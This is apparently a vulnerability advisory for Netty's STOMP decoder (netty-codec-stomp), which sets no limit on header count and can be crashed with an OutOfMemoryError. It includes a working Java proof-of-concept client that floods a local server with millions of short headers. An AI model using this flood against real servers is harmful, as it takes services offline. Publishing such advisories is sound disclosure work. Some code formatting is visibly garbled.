PT-2026-58996 · Maven · Io.Netty:Netty-Codec-Stomp
Published
2026-07-14
·
Updated
2026-07-14
CVSS v3.1
7.5
High
| Vector | AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H |
Summary
The StompSubframeDecoder fails to limit the total number of headers or their cumulative size per frame, allowing an attacker to cause an OutOfMemoryError, leading to a Denial of Service.
Details
io.netty.handler.codec.stomp.StompSubframeDecoder implements the STOMP protocol. The maxLineLength parameter restricts the length of individual header lines, but there is no mechanism to limit the total number of headers in a single STOMP frame. An attacker can send a large number of short headers (e.g., a: 1 ), which are accumulated in memory inside the DefaultStompHeadersSubframe until the JVM throws an OutOfMemoryError.PoC
Run the server with
-Xmx256mjava
public final class ServerApp {
public static void main(String[] args) throws Exception {
EventLoopGroup group = new MultiThreadIoEventLoopGroup(NioIoHandler.newFactory());
try {
ChannelFuture serverFuture = new ServerBootstrap()
.group(group)
.channel(NioServerSocketChannel.class)
.childHandler(new StompSubframeDecoder())
.bind(8080)
.sync();
serverFuture.channel().closeFuture().sync();
} finally {
group.shutdownGracefully();
}
}
}java
public final class ClientApp {
public static void main(String[] args) throws Exception {
try (Socket socket = new Socket("127.0.0.1", 8080)) {
OutputStream out = socket.getOutputStream();
out.write("CONNECT
".getBytes(StandardCharsets.UTF 8));
StringBuilder sb = new StringBuilder();
for (int i = 0; i < 1000; i++) {
sb.append("a:1
");
}
byte[] bulkHeaders = sb.toString().getBytes(StandardCharsets.UTF 8);
for (int i = 1; i <= 50 000; i++) {
out.write(bulkHeaders);
}
} catch (Exception e) {
e.printStackTrace();
}
}
}Impact
Denial of Service: An attacker can easily exhaust the server's memory by sending a single malicious STOMP message. Any server exposing a STOMP endpoint based on StompSubframeDecoder is vulnerable to DoS.
Fix
Resource Exhaustion
Allocation of Resources Without Limits
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Related Identifiers
Affected Products
Io.Netty:Netty-Codec-Stomp